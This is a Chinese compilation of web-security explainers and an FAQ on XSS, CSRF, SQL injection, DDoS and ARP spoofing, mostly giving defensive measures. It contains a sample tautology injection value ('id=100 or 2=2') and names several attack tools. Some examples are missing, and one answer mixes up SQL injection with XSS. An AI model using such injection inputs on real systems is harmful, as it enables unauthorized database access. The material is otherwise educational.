⑴ 3大Web安全漏洞防禦詳解：XSS、CSRF、以及sql注入解決方案
隨著互聯網的普及，網路安全變得越來越重要。Java等程序員需要掌握基本的web安全知識，防患於未然，下面列舉一些常見的安全漏洞，以及對應的防禦解決方案。
1.前端安全
2.後端安全
1.XSS簡介
跨站腳本（cross site script）簡稱為XSS，是一種經常出現在web應用中的計算機安全漏洞，也是web中最主流的攻擊方式。
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點，進而添加一些代碼，嵌入到web頁面中去，使別的用戶訪問都會執行相應的嵌入代碼。
2.XSS攻擊的危害
1、盜取用戶資料，比如：登錄帳號、網銀帳號等
2、利用用戶身份，讀取、篡改、添加、刪除企業敏感數據等
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
3.防止XSS解決方案
XSS的根源主要是沒完全過濾客戶端提交的數據 ，所以重點是要過濾用戶提交的信息。
1.CSRF簡介
CSRF（Cross-site request forgery）跨站請求偽造，也被稱為「One Click Attack」或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。
XSS利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF更具危險性。
2.CSRF攻擊的危害
主要的危害來自於，攻擊者盜用了用戶身份，發送惡意請求。比如：模擬用戶的行為發送郵件，發消息，以及支付、轉賬等財產安全。
3.防止CSRF的解決方案
1.簡介
SQL注入是比較常見的網路攻擊方式之一，主要是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串，實現無帳號登錄，甚至篡改資料庫。
2.SQL注入的危害
3.防止SQL注入的方式
通常情況下，SQL注入的位置包括：
（1）表單提交，主要是POST請求，也包括GET請求；
（2）URL參數提交，主要為GET請求參數；
（3）Cookie參數提交；
（4）HTTP請求頭部的一些可修改的值，比如Referer、User_Agent等；
4.簡要舉例
舉一個簡單的例子,select * from user where id=100 ,表示查詢id為100的用戶信息，如果id=100變為 id=100 or 2=2,sql將變為：select * from user where id=100 or 2=2，將把所有user表的信息查詢出來，這就是典型的sql注入。
5.防止SQL注入的解決方案
1）對用戶的輸入進行校驗，使用正則表達式過濾傳入的參數
2）使用參數化語句，不要拼接sql，也可以使用安全的存儲過程
3）不要使用管理員許可權的資料庫連接，為每個應用使用許可權有限的資料庫連接
4）檢查數據存儲類型
5）重要的信息一定要加密
總之就是既要做好過濾與編碼並使用參數化語句，也要把重要的信息進行加密處理，這樣sql注入漏洞才能更好的解決。
以上就是Web安全介紹，更多Redis系列、Spring Cloud、Dubbo等微服務、MySQL資料庫分庫分表等架構設計，具體請參考：
回復關鍵詞 【高並發】即可獲取！
⑵ 前端程序員必須知道的 Web 漏洞，快來看看
隨著互聯網的發展，早已經不是僅限於簡單的網頁或是社交，電商購物、銀行轉賬、企業管理等等。上次看到一個新聞，後台程序員離職後，利用職位之便，每天還不斷的給自己轉賬，轉了好多次才被發現，想想這多可怕。或者會竊取重要的商業信息，所以 Web 安全也是非常值得注意的。
什麼是 Web 安全？
黑客利用網路操作系統的漏洞和 Web 伺服器的 SQL 注入漏洞等，得到 Web 伺服器的控制權，輕則篡改、刪除、添加數據，重則竊取重要的商業信息、轉賬等，更嚴重的就是在網頁中植入惡意代碼，使網站受到不可預期的侵害。
常見的攻擊可分為三類：XSS、CSRF、SQL注入。
Cross Site Scripting 跨站腳本攻擊，為了與 CSS 區分，所以簡寫為 XSS 。
惡意攻擊給 Web 頁面植入惡意的 Script 代碼，當用戶瀏覽該網頁的時候，嵌入 Web 裡面的 script 代碼會被執行，從而達到攻擊的效果。
講直白點，就是惡意攻擊者通過在輸入框處添加惡意 script 代碼，用戶瀏覽網頁的時候執行 script 代碼，從而達到惡意攻擊用戶的目的。
1.1、XSS 的危害
1.2、XSS 的攻擊類型
發出請求時，XSS代碼會出現在 url 中，作為輸入提交到伺服器端，伺服器再返回給瀏覽器，然後瀏覽器解析執行 XSS 代碼，這一過程像一次反射，所以稱之為反射型。
這種類型的攻擊，通常是把 XSS 攻擊代碼放入請求地址的 數據傳輸部分，如：
提交的 XSS 代碼會存儲在伺服器端，如資料庫、內存、文件系統內，下次請求目標頁面時不再提交 XSS 代碼。
文檔型的 XSS 攻擊不會經過伺服器，作為中間人的角色，在數據傳輸過程中劫持到網路數據包，然後修改裡面的 html 文檔。
1.3、XSS 的防禦措施
措施1：編碼。
對這些數據進行 html entity 編碼。客戶端和伺服器端都需要進行轉義編碼。
轉義後為：
放入上邊的代碼中，還是會自動解析為上邊的代碼，所以放到外邊。
措施2：過濾。
移除用戶上傳的 DOM 屬性，如上邊的 onerror。
移除用戶上傳的 style、script、iframe 節點。
措施3：利用 CSP
瀏覽器中的內容安全策略，就是決策瀏覽器載入哪些資源。
Cross site request forgery 跨站點請求偽造。
攻擊者誘導受害者進入第三方網站，向被攻擊網站發送跨站請求，利用被攻擊者在被攻擊網站已經獲取的注冊憑證，繞過後台的用戶驗證達到冒充用戶對攻擊網站進行的某種操作。
CSRF 攻擊特點：
2.1、CSRF 的危害
2.2、CSRF 的攻擊類型
使用非常簡單，只需要一個 http 請求。
比如頁面中的一個圖片添加鏈接，還有 iframe、script ，最容易完成 CSFR 攻擊，且不易被用戶發現，隱蔽性超強。
由於 get 介面是最常見的一種 CSRF 攻擊類型，所以很多重要的介面不適用 get 方式，使用 post 一定程度上可以防止 CSRF 攻擊。
這種類型的 SCRF 攻擊，通常使用的是一個自動提交的表單。簡單講就是偽造一個自動提交的表單，一旦訪問頁面時，表單就會自動提交。
如：
比起前兩個，這個類型的比較少見，鏈接類型的攻擊必須要用戶點擊鏈接，才能觸發。
通常在論壇中發布的圖片嵌入惡意的鏈接，或以廣告的形式誘導用戶點擊中招。所以我們在郵箱中看到亂七八糟的廣告，盡量別點擊，防止遇到三方攻擊。
偽造一種新型的攻擊方式，用戶誤以為是在網站正常登錄，實際上是使用賬戶和密碼登錄到了黑客網站，這樣黑客可以監聽到用戶的所有操作，甚至知道用戶的賬戶信息。
2.3、CSRF 的防禦措施
措施1：檢查 http 頭部的 referer 信息
referer 包含在請求頭內，表示請求介面的頁面來源。
服務端通過檢查 referer 信息，發現來源於外域時，就可以攔截請求，通過阻止不明外域的訪問，一定程度上可以減少攻擊。
措施2：使用一次性令牌
使用一次性令牌做身份識別，黑客是無法通過跨域拿到一次性令牌的，所以服務端可以通過判斷是否攜帶一次性令牌，就可以排除一部分的非法操作者。
措施3：使用驗證圖片
服務端生成一些文本和數字，在服務端保存這份信息，同時以圖片的形式在客戶端展現，讓用戶去合法填寫信息，當 CSRF 攻擊時，拿不到這個驗證碼的時候，無法向伺服器提供這個信息，導致匹配失敗，從而識別它是非法攻擊者。
這個應用非常常見，之前登錄的時候，需要填寫圖形驗證碼。
現在滑動圖片驗證也非常常見。
SQL 注入，一般發生在注冊、評論、添加等，只有有用戶輸入的地方，就有可能發生 SQL 注入。SQL 注入是一種常見的 Web 安全漏洞，攻擊者會利用這個漏洞，可以訪問或修改數據，利用潛在的資料庫漏洞進行攻擊。
所謂SQL注入，就是通過把SQL命令插入到Web 表單 提交或輸入域名或頁面請求的查詢字元串，最終達到欺騙伺服器執行惡意的SQL命令。具體來說，它是利用現有應用程序，將(惡意的)SQL命令注入到後台資料庫引擎執行的能力，它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫，而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的，這類表單特別容易受到 SQL注入式攻擊 .
3.1、SQL 注入危害
任意的賬號都可以登錄，可以進行任意的操作，粗暴點講，就是隨便來。
3.2、 SQL注入分類
當輸入的參數為整數時，則有可能存在數字型漏洞。
當輸入參數為字元串時，則可能存在字元型注入漏洞。數字型與字元型注入最大的區別在於：數字型不需要單引號閉合，而字元型一般需要使用單引號來閉合。
字元型注入最關鍵的是如何閉合 SQL 語句以及注釋多餘的代碼。
其實我覺得 SQL 注入只有兩種類型：數字型與字元型。很多人可能會說還有如：Cookie 注入、POST 注入、延時注入等。
的確如此，但這些類型的注入歸根結底也是數字型和字元型注入的不同展現形式或者注入的位置不同罷了。
以下是一些常見的注入叫法：
3.3、SQL注入的防範措施
凡是用戶輸入的地方，我們都應該防止黑客攻擊，永遠不要相信用戶的輸入。所以對應的防禦措施分別有：
前後端分離之後，前端每天都會接觸到很多介面。發送網路請求的時候，有些介面就會使用 get 方法。最常見的傳參方式就是，直接在 url 地址後面加參數。
直接採用這種方式傳輸數據，如果數據被劫持或抓包工具偷走之後，就會直接被人盜取走，特別危險。若是採用介面加密，如下：
上邊那個看不懂的一長串符號，正是經過加密的數據。
介面加密就是將介面請求調用中傳遞的參數進行加密，目的就是為了保證介面請求中傳遞參數和返回的結果的安全性，一般比較敏感數據，如身份證、電話號碼、賬號、密碼等需要進行加密。
常見的加密方式：
加密方式較多，可以根據自己具體的需要和項目語言選擇其中一種。
加密之後的數據更安全，那我們能不能將介面所有的數據都進行加密呢？加密是非常消耗資源的，如果有大批量的數據都進行加密時，返回數據需要的時間就更長，會直接影響用戶體驗。所以我們進行加密時，只需要對敏感的重要的信息進行加密。
好了我今天的文章就到此結束了，本篇文章沒有介紹到的 web 安全，歡迎評論區交流！
⑶ 網路安全攻擊手段
網路安全攻擊形式
一般入侵 網路攻擊 掃描技術 拒絕服務攻擊技術 緩沖區溢出 後門技術 Sniffer技術 病毒木馬
網路安全技術，從代理伺服器、網路地址轉換、包過濾到數據加密 防攻擊，防病毒木馬等等。
⑷ Web安全問題解答
很多新手都覺得自己的電腦web經常被木馬侵襲，所以下面我為大家帶來電腦基礎知識學習之Web安全問題，讓你了解下如何安全的保護好自己的電腦。
1、什麼叫Web應用系統?
答：Web應用系統就是利用各種動態Web技術開發的，基於B/S(瀏覽器/伺服器)模式的事務處理系統。用戶直接面對的是客戶端瀏覽器，使用Web應用系統時，用戶通過瀏覽器發出的請求，其之後的事務邏輯處理和數據的邏輯運算由伺服器與資料庫系統共同完成，對用戶而言是完全透明的。運算後得到的結果再通過網路傳輸給瀏覽器，返回給用戶。比如：ERP系統、CRM系統以及常見的網站系統(如電子政務網站、企業網站等)都是Web應用系統。
2、為什麼Google把我的網站列為惡意網站
答：Google在對網站內容進行搜索時，同時也會檢查是否含有惡意軟體或代碼(這些惡意軟體或代碼可能威脅該網站的訪問者)。如果該網站存在這樣的惡意軟體或代碼，就會在用戶搜索到該網站時，加上一個標記：“該網站可能含有惡意軟體，有可能會危害您的電腦”。這將會使網站信譽受損，並導致潛在的用戶流失。
3、Web威脅為什麼難以防範
答：針對Web的攻擊已經成為全球安全領域最大的挑戰，主要原因有如下兩點：
1. 企業業務迅速更新，需要大量的Web應用快速上線。而由於資金、進度、意識等方面的影響，這些應用沒有進行充分安全評估。
2. 針對Web的攻擊會隱藏在大量正常的業務行為中，而且使用各種變形偽裝手段，會導致傳統的防火牆和基於特徵的入侵防禦系統無法發現和阻止這種攻擊。
4、黑客為什麼要篡改網站頁面
答：當黑客獲取網站的控制許可權後，往往會更改網站頁面，可能的動機有：
1. 宣稱政治主張;
2. 炫耀技術，建立“聲望”;
3. 宣洩情緒;
4. 經濟利益，通過網站釋放木馬，從而獲取經濟利益。
5、黑客實施網站掛馬的目的是什麼
答：網站掛馬的主要目的是控制訪問該網站的用戶的計算機，從而可以進一步獲取用戶的計算機隱私信息而獲利，或者將這些用戶的計算機作為“肉雞”，對 其它 伺服器或網路進行DDos攻擊。
6、為什麼我網站的資料庫表內容被大量替換?
答：如果排除了管理員誤操作的可能性，則可能是網站伺服器被自動化攻擊工具(如SQL注入工具等)攻擊的結果。目前已經有自動化的工具對網站進行攻擊，如果網站存在漏洞的話，攻擊工具能夠獲得對網站資料庫訪問的許可權。如果發現這種情況，應該仔細核查網站伺服器和資料庫伺服器日誌，找出更改記錄。
7、在Web威脅防禦中防火牆的優點和不足
答：防火牆可以過濾掉非業務埠的數據，防止非Web服務出現的漏洞，目前市場上可選擇的防火牆品牌也較多。但對於目前大量出現在應用層面上的SQL注入和XSS漏洞，防火牆無法過濾，因而無法保護Web伺服器所面臨的應用層威脅。
8、常見發布系統之IIS
答：IIS 是Internet Information Server的縮寫，是由微軟開發的一種Web伺服器(Web server)產品，用以支持HTTP、FTP和SMTP服務發布。 它主要運行在微軟的 操作系統 之上，是最流行的Web伺服器軟體之一。
9、常見Web伺服器之Apache
答：Apache是Web伺服器軟體。它可以運行在幾乎所有廣泛使用的計算機平台上。Apache源於NCSAhttpd伺服器，經過多次修改，已成為世界上最流行的Web伺服器軟體之一。
10、Apache是不是比IIS要安全
答：早期的IIS在安全性方面存在著很大的問題，如果使用默認設置，黑客可以輕松趁虛而入。不過在IIS6中，微軟公司對其安全方面進行了大幅改進。只要保證操作系統補丁更新及時，就可以將網站安全系數盡可能地提高。
Apache在安全方面一直做得比較好，更主要的原因是很多用戶都是在linux系統下使用Apache。相對於微軟的操作系統，Linux系統被發布的安全按漏洞更少一些。
從技術角度講，兩個Web伺服器的安全性沒有本質區別，一個完整的Web系統的安全性更取決於Web程序的安全性以及Web伺服器配置的正確性。
11、什麼叫應用防火牆
答：應用防火牆的概念在上個世紀九十年代就已經被提出，但在最近幾年才真正走向成熟和應用。應用防火牆的概念與網路防火牆相對，網路防火牆關注網路層的訪問控制，應用防火牆則關注應用層數據的過濾與控制。
12、什麼叫網站防篡改系統
答：網站防篡改系統通過實時監控來保證Web系統的完整性，當監控到Web頁面被異常修改後能夠自動恢復頁面。網站放篡改系統由於其設計理念的限制，對靜態頁面的防護能力比較好，對動態頁面的防護則先天不足。
13、我的Web伺服器被訪問速度變慢，經常出現連接失敗的現象，可能是什麼原因造成的呢?
答：這可能有兩個方面的情況，一種是網路方面的原因，如運營商的線路故障，或帶寬消耗型的DDOS攻擊;另外一種情況是伺服器方面的原因，如感染病毒，或資源消耗型的拒絕服務攻擊。
14、我的Web伺服器部署了木馬查殺軟體，為什麼還被掛了木馬?
答：所謂的網頁被掛馬，很多情況下並不是有木馬程序或代碼被放到了Web伺服器上，而是有一段跳轉代碼(本身不包含攻擊信息)被放在了Web伺服器上網頁中。當遠程用戶訪問帶有跳轉代碼的頁面時，將會執行這段代碼，從另外一個地址下載並執行木馬。所以，即使在Web伺服器上部署了木馬查殺軟體，也會由於木馬本身並不存在於伺服器上，而無法避免網站被掛馬。
15、我的Web伺服器前端部署了入侵防禦產品設備，入侵防禦產品設備中包含了幾百條的SQL注入攻擊防禦特徵庫，為什麼我的Web系統還是被SQL注入攻擊成功了呢?
答：SQL注入是一種沒有固定特徵的攻擊行為，對安全設備來說，就是屬於變種極多的攻擊行為。所以，基於數據特徵的SQL注入檢測 方法 是沒有辦法窮盡所有組合的，會存在大量的誤報、漏報可能。如果採用的入侵防禦產品設備採用的是基於數據特徵的檢測方法，即使包含了數百條SQL注入特徵庫，也會有漏報出現。
16、黑客為什麼喜歡攻擊網站?
答：Web業務已經成為當前互聯網最為流行的業務，大量的在線應用業務都依託於Web服務進行。並且一些大型網站的日訪問量可達百萬之巨，不論是直接攻擊網站(如網路銀行，在線游戲伺服器)還是通過網站掛馬竊取訪問者信息，都可以使黑客獲得直接的經濟利益。另外一方面，網站是機構的網路形象，通過攻擊篡改網站頁面，也可以得到最大范圍的名聲傳播。對於那些企圖出名的黑客，攻擊網站是一項不錯的選擇。
17、如何判斷自己的Web伺服器是否已經成為肉雞?
答：如果發現自己的Web伺服器上開啟了一些奇怪的進程，發現Web伺服器總是有大量從內往外的連接，發現Web伺服器不定時系統緩慢，諸如此類的現象，可使用木馬清除軟體進行檢查和查殺。
細分攻擊形式：
18、目前國內Web應用系統存在哪些最突出的安全問題?
答：Web應用程序的漏洞是很難避免的，系統的安全隱患主要在三方面：
首先是網路運維人員或安全管理人員對Web系統的安全狀況不清楚。哪些頁面存在漏洞，哪些頁面已經被掛馬，他們不能夠清晰的掌握，從而及時採取改正 措施 ;
其次，在安全設備的部署方面，沒有選用專業的、針對Web業務攻擊的防禦產品對網站進行保護，而是寄託於防火牆這種訪問控制類的網關安全設備;
另外，從安全響應來看，Web安全事件發生後的應急與處理也存在欠缺。沒有相應的頁面恢復系統，也沒有處理Web安全事件的專業安全服務團隊。很多單位沒有制定實時監控的網站安全管理制度。
19、什麼叫SQL注入
答：SQL注入就是利用現有應用程序，將惡意的SQL命令注入到網站後台資料庫引擎執行的能力。SQL注入利用的是正常的HTTP服務埠，表面上看來和正常的Web訪問沒有區別，隱蔽性極強，不易被發現。
20、SQL注入有哪些危害
答：SQL注入的主要危害包括：
未經授權狀況下操作資料庫中的數據;
惡意篡改網頁內容;
私自添加系統帳號或者是資料庫使用者帳號;
網頁掛木馬;
21、什麼叫XSS
答：跨站腳本攻擊(XSS)是攻擊者將惡意腳本提交到網站的網頁中，使得原本安全的網頁存在惡意腳本;或者是直接添加有惡意腳本的網頁並誘使用戶打開，用戶訪問網頁後，惡意腳本就會將用戶與網站的會話COOKIE及其它會話信息全部截留發送給攻擊者，攻擊者就可以利用用戶的COOKIE正常訪問網站。攻擊者有時還會將這些惡意腳本以話題的方式提交到論壇中，誘使網站管理員打開這個話題，從而獲得管理員許可權，控制整個網站。跨站腳本漏洞主要是由於沒有對所有用戶的輸入進行有效的驗證所造成的，它影響所有的Web應用程序框架。
22、XSS有哪些危害
答：XSS攻擊的危害包括：
盜取各類用戶帳號，如機器登錄帳號、用戶網銀帳號、各類管理員帳號;
控制企業數據，包括讀取、篡改、添加、刪除企業敏感數據的能力;
盜竊企業重要的具有商業價值的資料;
非法轉賬;
強制發送電子郵件;
網站掛馬;
控制受害者機器向其它網站發起攻擊。
23、什麼叫Shellcode
答：Shellcode實際是一段代碼(也可以是填充數據)，可以用來發送到伺服器，利用已存在的特定漏洞造成溢出，通稱“緩沖區溢出攻擊”中植入進程的代碼。這段代碼可以是導致常見的惡作劇目的的彈出一個消息框彈出，也可以用來刪改重要文件、竊取數據、上傳木馬病毒並運行，甚至是出於破壞目的的格式化硬碟等等。
24、什麼叫網站漏洞
答：隨著B/S模式被廣泛的應用，用這種模式編寫Web應用程序的程序員也越來越多。但由於開發人員的水平和 經驗 參差不齊，相當一部分的開發人員在編寫代碼的時候，沒有對用戶的輸入數據或者是頁面中所攜帶的信息(如Cookie)進行必要的合法性判斷，導致了攻擊者可以利用這個編程漏洞來入侵資料庫或者攻擊Web應用程序的使用者，由此獲得一些重要的數據和利益。
25、什麼叫木馬
答：木馬(Trojan)這個名字來源於古希臘 傳說 ，在互聯網時代它通常是指通過一段特定的程序(木馬程序)來控制另一台計算機。木馬通常有兩個可執行程序：一個是客戶端，即控制端，另一個是服務端，即被控制端。木馬的設計者為了防止木馬被發現，而採用多種手段隱藏木馬。木馬的服務一旦運行並被控制端連接，其控制端將享有服務端的大部分操作許可權，例如給計算機增加口令，瀏覽、移動、復制、刪除文件，修改注冊表，更改計算機配置等。
26、什麼叫網站掛馬
答：“掛馬” 就是黑客入侵了一些網站後，將自己編寫的網頁木馬嵌入被黑網站的主頁中。當訪問者瀏覽被掛馬頁面時，自己的計算機將會被植入木馬，黑客便可通過遠程式控制制他們的計算機來實現不可告人的目的。網頁木馬就是將木馬和網頁結合在一起，打開網頁的同時也會運行木馬。最初的網頁木馬原理是利用IE瀏覽器的ActiveX控制項，運行網頁木馬後會彈出一個控制項下載提示，只有點擊確認後才會運行其中的木馬。這種網頁木馬在當時網路安全意識普遍不高的情況下還是有一點威脅的，但是其缺點顯而易見，就是會出現ActiveX控制項下載提示。現在很少會有人去點擊那莫名其妙的ActiveX控制項下載確認窗口了。在這種情況下，新的網頁木馬誕生了。這類網頁木馬通常利用IE瀏覽器的漏洞，在運行的時候沒有絲毫提示，因此隱蔽性極高。
27、什麼叫DOS./DDOS攻擊?
答：DoS即Denial Of Service，拒絕服務的縮寫。DoS是指利用網路協議實現的缺陷來耗盡被攻擊對象的資源，目的是讓目標計算機或網路無法提供正常的服務或資源訪問，使目標系統服務系統停止響應甚至崩潰。在此攻擊中並不包括侵入目標伺服器或目標網路設備。這些被大量消耗的服務資源包括網路帶寬、文件系統空間容量、開放的進程或者允許的連接。這種攻擊會導致資源的匱乏，無論計算機的處理速度多快、內存容量多大、網路帶寬有多高，都無法避免這種攻擊帶來的後果。
DDoS(Distributed Denial Of Service)又把DoS又向前發展了一大步，這種分布式拒絕服務攻擊是黑客利用在已經被侵入並已被控制的、不同的高帶寬主機(可能是數百，甚至成千上萬台)上安裝大量的DoS服務程序，它們等待來自中央攻擊控制中心的命令。中央攻擊控制中心再適時啟動全體受控主機的DoS服務進程，讓它們對一個特定目標發送盡可能多的網路訪問請求，形成一股DoS洪流沖擊目標系統，猛烈地DoS攻擊同一個網站。被攻擊的目標網站會很快失去反應而不能及時處理正常的訪問甚至系統癱瘓崩潰。
28、什麼叫網路釣魚
答：網路釣魚(Phishing，又名釣魚法或釣魚式攻擊)是通過傳播“聲稱來自於銀行或其他知名機構”的欺騙信息，意圖引誘受害者泄漏出敏感信息(如用戶名、口令、帳號 ID 、 ATM PIN 碼或信用卡詳細信息)的一種攻擊方式。最典型的網路釣魚攻擊將受害者引誘到一個與其目標網站非常相似的釣魚網站上，並獲取受害者在此網站上輸入的個人敏感信息。通常這個攻擊過程不會讓受害者警覺。它是“社會工程攻擊”的一種形式。
29、什麼叫網路蠕蟲
答：一般認為：蠕蟲病毒是一種通過網路傳播的惡性病毒，它除具有病毒的一些共性外，同時具有自己的一些特徵。如：不利用文件寄生(有的只存在於內存中)、對網路造成拒絕服務，以及與黑客技術相結合，等等。蠕蟲病毒主要的破壞方式是大量的復制自身，然後在網路中傳播，嚴重佔用有限的網路資源，最終引起整個網路的癱瘓，使用戶不能通過網路進行正常的工作。每一次蠕蟲病毒的爆發都會給全球經濟造成巨大損失，因此它的危害性是十分巨大的。有一些蠕蟲病毒還具有更改用戶文件、將用戶文件自動當附件轉發的功能，更是嚴重的地危害到用戶的 系統安全 。
30、什麼叫僵屍網路
答：僵屍網路(英文名稱叫BotNet)，是互聯網上受到黑客集中控制的一群計算機，往往被黑客用來發起大規模的網路攻擊。如：分布式拒絕服務攻擊(DDoS)、海量垃圾郵件等。同時，黑客控制的這些計算機所保存的信息也都可以被黑客隨意“取用”。因此，不論是對網路安全運行還是用戶數據安全的保護，僵屍網路都是極具威脅的隱患。然而，發現一個僵屍網路是非常困難的，因為黑客通常遠程、隱蔽地控制分散在網路上的“僵屍主機”，這些主機的用戶往往並不知情。因此，僵屍網路是目前互聯網上最受黑客青睞的作案工具。
31、什麼是ARP攻擊
答：ARP是地址解析協議，是一種將IP地址轉化為MAC地址的協議。在網路中，當A主機需要向B主機發送報文時，會先查詢本地的ARP緩存表，找到與B主機IP地址對應的MAC地址後，進行數據傳輸。如果未找到，則會發送一個廣播ARP請求報文，請求對應B主機IP的B回應MAC地址。這個廣播包會被整個廣播域中所有主機收到，但只有B主機會發現IP地址對應自己，才會將MAC地址回應給A。此時A收到這個回應並更新自己的ARP緩存，進行下一步的數據傳輸。ARP攻擊應當叫做ARP欺騙，就是冒充網關地址對網路中主機給出ARP查詢回應，使得本來是A->網關的數據走向，變成A->攻擊者->網關。
32、ARP攻擊的危害有哪些?
答：ARP攻擊的危害主要有兩個方面。從ARP攻擊的原理來看，這種攻擊使得受害主機的所有網路數據都將通過攻擊者進行轉發。這樣一來，要竊取信息或控制流量就變得輕而易舉。另一方面，由於ARP緩存會不斷刷新，有的時候，真正的網關會偶爾“清醒”。當真正的網關參與到數據包轉發中來時，由於做了一個切換動作，可能會有頻繁的短暫掉線現象。所以，如果Web伺服器所在網路中發生了ARP攻擊，將導致Web伺服器不可訪問。
細分攻擊介質：
33、WEB應用系統(網站)會面臨來自哪些方面的安全問題
答：網站面臨的安全問題是方方面面的，主要可概括為以下四個方面：
1)操作系統、後台資料庫的安全問題
這里指操作系統和後台資料庫的漏洞，配置不當，如弱口令等等，導致黑客、病毒可以利用這些缺陷對網站進行攻擊。
2)Web發布系統的漏洞
Web業務常用的發布系統(即Web伺服器)，如IIS、Apache等，這些系統存在的安全漏洞，會給入侵者可乘之機。
3)Web應用程序的漏洞
主要指Web應用程序的編寫人員，在編程的過程中沒有考慮到安全的因素，使得黑客能夠利用這些漏洞發起對網站的攻擊，比如SQL注入、跨站腳本攻擊等等。
4)自身網路的安全狀況
網站伺服器所處的網路安全狀況也影響著網站的安全，比如網路中存在的DoS攻擊等，也會影響到網站的正常運營。
34、Web程序漏洞是怎麼形成的
答：Web站點之所以存在如此眾多的安全漏洞，是由下列所示的這些原因造成的：
1、 大部分的中小型網站都是使用某個建站模塊建設的，而這些通用的建站模塊不僅本身存在各種安全漏洞，同時一些使用它們的建站人員根本沒有在建站完成後對站點進行安全加固。
2、 Web站點開發人員對安全不夠重視，在編寫網頁時，沒有對用戶的輸入進行驗證，沒有對數據的大小、類型和字元串進行規范，沒有限制API函數對系統資源的使用，以及對Web伺服器沒有進行相應的資源限制，引起拒絕服務攻擊。
3、 管理員對Web伺服器主機系統及Web應用程序本身配置不當，一些中小企業自己管理的Web站點根本沒有足夠的技術人員來管理它們的安全。
4、 當Web站點是託管在某個電信機房時，對它們進行的遠程管理存在安全風險。
5、 Web站點管理員本身技術水平的限制，對各種針對Web站點的安全攻擊不了解，也沒有端正工作態度，沒能對站點進行認真的安全加固，以及進行日常的安全檢查。
6、 Web站點所處網路大環境的安全設計不合理，以及沒有將安全防範工作融入到站點整個生命周期的各個階段。
7、 企業領導不夠重視，在Web站點的安全防範方面投入的資金太少或不合理，沒有制定一個有效的Web站點安全防範策略，明確Web站點日常管理流程，也沒有對Web站點的管理人員和工作人員進行不斷的安全培訓。
35、黑客主要利用哪些方法對網站進行數據竊取和修改
答：黑客需要使用擁有一定許可權的用戶帳戶才能對網站進行數據竊取和修改，所以可能造成用戶許可權泄漏或提升的漏洞，都可以被黑客利用來進行攻擊，如SQL注入，溢出漏洞、暴力猜解等。
36、目前對Web伺服器威脅較大的SQL注入工具有哪些?
答：網上常見的SQL注入工具有“啊D SQL注入工具”、pangolin、NBSI、HDSI、“管中窺豹注入工具”等。
37、目前對Web伺服器威脅較大的XSS攻擊工具有哪些?
答：網上常見的XSS攻擊工具有sessionIE、Webscan、XSS Inject Scanner 等。
38、怎樣應對Web業務安全事件
答：應對Web業務安全事件，從根本上的解決辦法就是對Web應用程序源代碼進行代碼檢查和漏洞修復，但是這會影響正常Web業務運行，而且費用較高。比較有效的解決方案是通過專業的Web業務安全檢查工具或服務來檢查網站安全狀況，部署專業的Web安全產品。比如基於行為檢測的入侵防禦產品。同時在管理上，要求網管人員實時對網站進行監測，一旦發現網頁被篡改等問題立刻進行頁面恢復、刪除惡意腳本等工作。
39、如何防禦SQL注入
答：要想從根本上解決XSS攻擊，就要對Web應用程序源代碼進行檢查，發現安全漏洞進行修改。但是這種方法在實際中給用戶帶來了不便，如：需要花費大量的人力財力、可能無法找到當時的網站開發人員、需要網站下線等。對代碼進行修改後，由於增加了過濾條件和功能，同時也給伺服器帶來了計算壓力。通常的解決方法是在資料庫伺服器前端部署入侵防禦產品。SQL注入攻擊具有變種多、隱蔽性強等特點，傳統的特徵匹配檢測方式不能有效地進行防禦，需要採用“基於攻擊手法的行為監測”的入侵防禦產品才能夠精確地檢測到SQL注入攻擊。
40、如何防禦XSS
答：要想從根本上解決XSS攻擊，就要對Web應用程序源代碼進行檢查，發現安全漏洞進行修改。但是這種方法在實際中給用戶帶來了不便，如：需要花費大量的人力財力;可能無法找到當時的網站開發人員、需要網站下線等。對代碼進行修改後，由於增加了過濾條件和功能，同時也給伺服器帶來了計算壓力。通常的解決方法是在資料庫伺服器前端部署入侵防禦產品。XSS攻擊具有變種多、隱蔽性強等特點，傳統的特徵匹配檢測方式不能有效地進行防禦，需要採用基於攻擊手法的行為監測的入侵防禦產品產品才能夠精確地檢測到XSS攻擊。
41、如何發現網站掛馬
答：伺服器被掛馬，通常情況下，若出現諸如“彈出頁面”，則可以比較容易發現，發現防病毒軟體告警之類，則可以發現伺服器被掛馬;由於漏洞不斷更新，掛馬種類時刻都在變換，通過客戶端的反映來發現伺服器是否被掛馬往往疏漏較大;正確的做法是經常性的檢查伺服器日誌，發現異常信息;經常檢查網站代碼，藉助於專業的檢測工具來發現網頁木馬會大大提高工作效率和准確度。
⑸ xss攻擊h和ddos攻擊的區別
XSS攻擊：跨站腳本攻擊(Cross Site Scripting)，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。
分布式拒絕服務(DDoS:Distributed Denial of Service)攻擊指藉助於客戶/伺服器技術，將多個計算機聯合起來作為攻擊平台，對一個或多個目標發動DDoS攻擊，從而成倍地提高拒絕服務攻擊的威力。通常，攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上，在一個設定的時間主控程序將與大量代理程序通訊，代理程序已經被安裝在網路上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/伺服器技術，主控程序能在幾秒鍾內激活成百上千次代理程序的運行。
⑹ 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代，大家一般用拼接字元串的方式來構造動態 SQL 語句創建應用，於是 SQL 注入成了很流行的攻擊方式。在這個年代， 參數化查詢 已經成了普遍用法，我們已經離 SQL 注入很遠了。但是，歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了，所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾，我一定會在模板輸出時候全部轉義。所以個人感覺，要避免 XSS 也是很容易的，重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ，於是找了些資料了解了一下，並與 XSS 放在一起做個比較。
